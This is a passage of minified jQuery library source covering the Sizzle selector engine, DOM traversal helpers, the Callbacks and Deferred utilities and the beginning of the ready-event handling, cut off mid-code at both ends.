d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(l[2])return G.apply(d,b.getElementsByTagName(a)),d;if((f=l[3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.setAttribute("id",k=u),o=g(a),h=o.length;while(h--)o[h]="#"+k+" "+sa(o[h]);r=o.join(","),s=$.test(a)&&qa(b.parentNode)||b}if(r)try{return G.apply(d,s.querySelectorAll(r)),d}catch(x){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(P,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("fieldset");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&a.sourceIndex-b.sourceIndex;if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.parentNode&&b.disabled===!1?"label"in b?"label"in b.parentNode?b.parentNode.disabled===a:b.disabled===a:b.isDisabled===a||b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function qa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return!!b&&"HTML"!==b.nodeName},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),v!==n&&(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(n.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}}):(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value===a)return[f];e=b.getElementsByName(a),d=0;while(f=e[d++])if(c=f.getAttributeNode("id"),c&&c.value===a)return[f]}return[]}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){if("undefined"!=typeof b.getElementsByClassName&&p)return b.getElementsByClassName(a)},r=[],q=[],(c.qsa=Y.test(n.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="<a id='"+u+"'></a><select id='"+u+"-\r\\' msallowcapture=''><option selected=''></option></select>",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){a.innerHTML="<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"*[*^$|!~]?="),2!==a.querySelectorAll(":enabled").length&&q.push(":enabled",":disabled"),o.appendChild(a).disabled=!0,2!==a.querySelectorAll(":disabled").length&&q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Y.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"*"),s.call(a,"[s!='']:x"),r.push("!=",N)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Y.test(o.compareDocumentPosition),t=b||Y.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?la(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(S,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.escape=function(a){return(a+"").replace(ba,ca)},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(_,aa),a[3]=(a[3]||a[4]||a[5]||"").replace(_,aa),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return V.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&T.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(_,aa).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:!b||(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(O," ")+" ").indexOf(c)>-1:"|="===b&&(e===c||e.slice(0,c.length+1)===c+"-"))}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(P,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(_,aa),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return U.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(_,aa).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:oa(!1),disabled:oa(!0),checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:pa(function(){return[0]}),last:pa(function(a,b){return[b-1]}),eq:pa(function(a,b,c){return[c<0?c+b:c]}),even:pa(function(a,b){for(var c=0;c<b;c+=2)a.push(c);return a}),odd:pa(function(a,b){for(var c=1;c<b;c+=2)a.push(c);return a}),lt:pa(function(a,b,c){for(var d=c<0?c+b:c;--d>=0;)a.push(d);return a}),gt:pa(function(a,b,c){for(var d=c<0?c+b:c;++d<b;)a.push(d);return a})}},d.pseudos.nth=d.pseudos.eq;for(b in{radio:!0,checkbox:!0,file:!0,password:!0,image:!0})d.pseudos[b]=ma(b);for(b in{submit:!0,reset:!0})d.pseudos[b]=na(b);function ra(){}ra.prototype=d.filters=d.pseudos,d.setFilters=new ra,g=ga.tokenize=function(a,b){var c,e,f,g,h,i,j,k=z[a+" "];if(k)return b?0:k.slice(0);h=a,i=[],j=d.preFilter;while(h){c&&!(e=Q.exec(h))||(e&&(h=h.slice(e[0].length)||h),i.push(f=[])),c=!1,(e=R.exec(h))&&(c=e.shift(),f.push({value:c,type:e[0].replace(P," ")}),h=h.slice(c.length));for(g in d.filter)!(e=V[g].exec(h))||j[g]&&!(e=j[g](e))||(c=e.shift(),f.push({value:c,type:g,matches:e}),h=h.slice(c.length));if(!c)break}return b?h.length:h?ga.error(a):z(a,i).slice(0)};function sa(a){for(var b=0,c=a.length,d="";b<c;b++)d+=a[b].value;return d}function ta(a,b,c){var d=b.dir,e=b.next,f=e||d,g=c&&"parentNode"===f,h=x++;return b.first?function(b,c,e){while(b=b[d])if(1===b.nodeType||g)return a(b,c,e);return!1}:function(b,c,i){var j,k,l,m=[w,h];if(i){while(b=b[d])if((1===b.nodeType||g)&&a(b,c,i))return!0}else while(b=b[d])if(1===b.nodeType||g)if(l=b[u]||(b[u]={}),k=l[b.uniqueID]||(l[b.uniqueID]={}),e&&e===b.nodeName.toLowerCase())b=b[d]||b;else{if((j=k[f])&&j[0]===w&&j[1]===h)return m[2]=j[2];if(k[f]=m,m[2]=a(b,c,i))return!0}return!1}}function ua(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function va(a,b,c){for(var d=0,e=b.length;d<e;d++)ga(a,b[d],c);return c}function wa(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;h<i;h++)(f=a[h])&&(c&&!c(f,d,e)||(g.push(f),j&&b.push(h)));return g}function xa(a,b,c,d,e,f){return d&&!d[u]&&(d=xa(d)),e&&!e[u]&&(e=xa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||va(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:wa(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=wa(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?I(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=wa(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ya(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ta(function(a){return a===b},h,!0),l=ta(function(a){return I(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];i<f;i++)if(c=d.relative[a[i].type])m=[ta(ua(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;e<f;e++)if(d.relative[a[e].type])break;return xa(i>1&&ua(m),i>1&&sa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(P,"$1"),c,i<e&&ya(a.slice(i,e)),e<f&&ya(a=a.slice(e)),e<f&&sa(a))}m.push(c)}return ua(m)}function za(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=E.call(i));u=wa(u)}G.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&ga.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=ya(b[c]),f[u]?d.push(f):e.push(f);f=A(a,za(e,d)),f.selector=a}return f},i=ga.select=function(a,b,c,e){var f,i,j,k,l,m="function"==typeof a&&a,n=!e&&g(a=m.selector||a);if(c=c||[],1===n.length){if(i=n[0]=n[0].slice(0),i.length>2&&"ID"===(j=i[0]).type&&9===b.nodeType&&p&&d.relative[i[1].type]){if(b=(d.find.ID(j.matches[0].replace(_,aa),b)||[])[0],!b)return c;m&&(b=b.parentNode),a=a.slice(i.shift().value.length)}f=V.needsContext.test(a)?0:i.length;while(f--){if(j=i[f],d.relative[k=j.type])break;if((l=d.find[k])&&(e=l(j.matches[0].replace(_,aa),$.test(i[0].type)&&qa(b.parentNode)||b))){if(i.splice(f,1),a=e.length&&sa(i),!a)return G.apply(c,e),c;break}}}return(m||h(a,n))(e,b,!p,c,!b||$.test(a)&&qa(b.parentNode)||b),c},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("fieldset"))}),ja(function(a){return a.innerHTML="<a href='#'></a>","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){if(!c)return a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="<input/>",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){if(!c&&"input"===a.nodeName.toLowerCase())return a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(J,function(a,b,c){var d;if(!c)return a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);r.find=x,r.expr=x.selectors,r.expr[":"]=r.expr.pseudos,r.uniqueSort=r.unique=x.uniqueSort,r.text=x.getText,r.isXMLDoc=x.isXML,r.contains=x.contains,r.escapeSelector=x.escape;var y=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&r(a).is(c))break;d.push(a)}return d},z=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},A=r.expr.match.needsContext;function B(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()}var C=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i,D=/^.[^:#\[\.,]*$/;function E(a,b,c){return r.isFunction(b)?r.grep(a,function(a,d){return!!b.call(a,d,a)!==c}):b.nodeType?r.grep(a,function(a){return a===b!==c}):"string"!=typeof b?r.grep(a,function(a){return i.call(b,a)>-1!==c}):D.test(b)?r.filter(b,a,c):(b=r.filter(b,a),r.grep(a,function(a){return i.call(b,a)>-1!==c&&1===a.nodeType}))}r.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?r.find.matchesSelector(d,a)?[d]:[]:r.find.matches(a,r.grep(b,function(a){return 1===a.nodeType}))},r.fn.extend({find:function(a){var b,c,d=this.length,e=this;if("string"!=typeof a)return this.pushStack(r(a).filter(function(){for(b=0;b<d;b++)if(r.contains(e[b],this))return!0}));for(c=this.pushStack([]),b=0;b<d;b++)r.find(a,e[b],c);return d>1?r.uniqueSort(c):c},filter:function(a){return this.pushStack(E(this,a||[],!1))},not:function(a){return this.pushStack(E(this,a||[],!0))},is:function(a){return!!E(this,"string"==typeof a&&A.test(a)?r(a):a||[],!1).length}});var F,G=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,H=r.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||F,"string"==typeof a){if(e="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:G.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof r?b[0]:b,r.merge(this,r.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),C.test(e[1])&&r.isPlainObject(b))for(e in b)r.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&(this[0]=f,this.length=1),this}return a.nodeType?(this[0]=a,this.length=1,this):r.isFunction(a)?void 0!==c.ready?c.ready(a):a(r):r.makeArray(a,this)};H.prototype=r.fn,F=r(d);var I=/^(?:parents|prev(?:Until|All))/,J={children:!0,contents:!0,next:!0,prev:!0};r.fn.extend({has:function(a){var b=r(a,this),c=b.length;return this.filter(function(){for(var a=0;a<c;a++)if(r.contains(this,b[a]))return!0})},closest:function(a,b){var c,d=0,e=this.length,f=[],g="string"!=typeof a&&r(a);if(!A.test(a))for(;d<e;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&r.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?r.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?i.call(r(a),this[0]):i.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(r.uniqueSort(r.merge(this.get(),r(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function K(a,b){while((a=a[b])&&1!==a.nodeType);return a}r.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return y(a,"parentNode")},parentsUntil:function(a,b,c){return y(a,"parentNode",c)},next:function(a){return K(a,"nextSibling")},prev:function(a){return K(a,"previousSibling")},nextAll:function(a){return y(a,"nextSibling")},prevAll:function(a){return y(a,"previousSibling")},nextUntil:function(a,b,c){return y(a,"nextSibling",c)},prevUntil:function(a,b,c){return y(a,"previousSibling",c)},siblings:function(a){return z((a.parentNode||{}).firstChild,a)},children:function(a){return z(a.firstChild)},contents:function(a){return B(a,"iframe")?a.contentDocument:(B(a,"template")&&(a=a.content||a),r.merge([],a.childNodes))}},function(a,b){r.fn[a]=function(c,d){var e=r.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=r.filter(d,e)),this.length>1&&(J[a]||r.uniqueSort(e),I.test(a)&&e.reverse()),this.pushStack(e)}});var L=/[^\x20\t\r\n\f]+/g;function M(a){var b={};return r.each(a.match(L)||[],function(a,c){b[c]=!0}),b}r.Callbacks=function(a){a="string"==typeof a?M(a):r.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=e||a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h<f.length)f[h].apply(c[0],c[1])===!1&&a.stopOnFalse&&(h=f.length,c=!1)}a.memory||(c=!1),b=!1,e&&(f=c?[]:"")},j={add:function(){return f&&(c&&!b&&(h=f.length-1,g.push(c)),function d(b){r.each(b,function(b,c){r.isFunction(c)?a.unique&&j.has(c)||f.push(c):c&&c.length&&"string"!==r.type(c)&&d(c)})}(arguments),c&&!b&&i()),this},remove:function(){return r.each(arguments,function(a,b){var c;while((c=r.inArray(b,f,c))>-1)f.splice(c,1),c<=h&&h--}),this},has:function(a){return a?r.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=g=[],c||b||(f=c=""),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j};function N(a){return a}function O(a){throw a}function P(a,b,c,d){var e;try{a&&r.isFunction(e=a.promise)?e.call(a).done(b).fail(c):a&&r.isFunction(e=a.then)?e.call(a,b,c):b.apply(void 0,[a].slice(d))}catch(a){c.apply(void 0,[a])}}r.extend({Deferred:function(b){var c=[["notify","progress",r.Callbacks("memory"),r.Callbacks("memory"),2],["resolve","done",r.Callbacks("once memory"),r.Callbacks("once memory"),0,"resolved"],["reject","fail",r.Callbacks("once memory"),r.Callbacks("once memory"),1,"rejected"]],d="pending",e={state:function(){return d},always:function(){return f.done(arguments).fail(arguments),this},"catch":function(a){return e.then(null,a)},pipe:function(){var a=arguments;return r.Deferred(function(b){r.each(c,function(c,d){var e=r.isFunction(a[d[4]])&&a[d[4]];f[d[1]](function(){var a=e&&e.apply(this,arguments);a&&r.isFunction(a.promise)?a.promise().progress(b.notify).done(b.resolve).fail(b.reject):b[d[0]+"With"](this,e?[a]:arguments)})}),a=null}).promise()},then:function(b,d,e){var f=0;function g(b,c,d,e){return function(){var h=this,i=arguments,j=function(){var a,j;if(!(b<f)){if(a=d.apply(h,i),a===c.promise())throw new TypeError("Thenable self-resolution");j=a&&("object"==typeof a||"function"==typeof a)&&a.then,r.isFunction(j)?e?j.call(a,g(f,c,N,e),g(f,c,O,e)):(f++,j.call(a,g(f,c,N,e),g(f,c,O,e),g(f,c,N,c.notifyWith))):(d!==N&&(h=void 0,i=[a]),(e||c.resolveWith)(h,i))}},k=e?j:function(){try{j()}catch(a){r.Deferred.exceptionHook&&r.Deferred.exceptionHook(a,k.stackTrace),b+1>=f&&(d!==O&&(h=void 0,i=[a]),c.rejectWith(h,i))}};b?k():(r.Deferred.getStackHook&&(k.stackTrace=r.Deferred.getStackHook()),a.setTimeout(k))}}return r.Deferred(function(a){c[0][3].add(g(0,a,r.isFunction(e)?e:N,a.notifyWith)),c[1][3].add(g(0,a,r.isFunction(b)?b:N)),c[2][3].add(g(0,a,r.isFunction(d)?d:O))}).promise()},promise:function(a){return null!=a?r.extend(a,e):e}},f={};return r.each(c,function(a,b){var g=b[2],h=b[5];e[b[1]]=g.add,h&&g.add(function(){d=h},c[3-a][2].disable,c[0][2].lock),g.add(b[3].fire),f[b[0]]=function(){return f[b[0]+"With"](this===f?void 0:this,arguments),this},f[b[0]+"With"]=g.fireWith}),e.promise(f),b&&b.call(f,f),f},when:function(a){var b=arguments.length,c=b,d=Array(c),e=f.call(arguments),g=r.Deferred(),h=function(a){return function(c){d[a]=this,e[a]=arguments.length>1?f.call(arguments):c,--b||g.resolveWith(d,e)}};if(b<=1&&(P(a,g.done(h(c)).resolve,g.reject,!b),"pending"===g.state()||r.isFunction(e[c]&&e[c].then)))return g.then();while(c--)P(e[c],h(c),g.reject);return g.promise()}});var Q=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;r.Deferred.exceptionHook=function(b,c){a.console&&a.console.warn&&b&&Q.test(b.name)&&a.console.warn("jQuery.Deferred exception: "+b.message,b.stack,c)},r.readyException=function(b){a.setTimeout(function(){throw b})};var R=r.Deferred();r.fn.ready=function(a){return R.then(a)["catch"](function(a){r.readyException(a)}),this},r.extend({isReady:!1,readyWait:1,ready:function(a){(a===!0?--r.readyWait:r.isReady)||(r.isReady=!0,a!==!0&&--r.readyWait>0||R.resolveWith(d,[r]))}}),r.ready.then=R.then;function S(){d.removeEventListener("DOMContentLoaded",S),
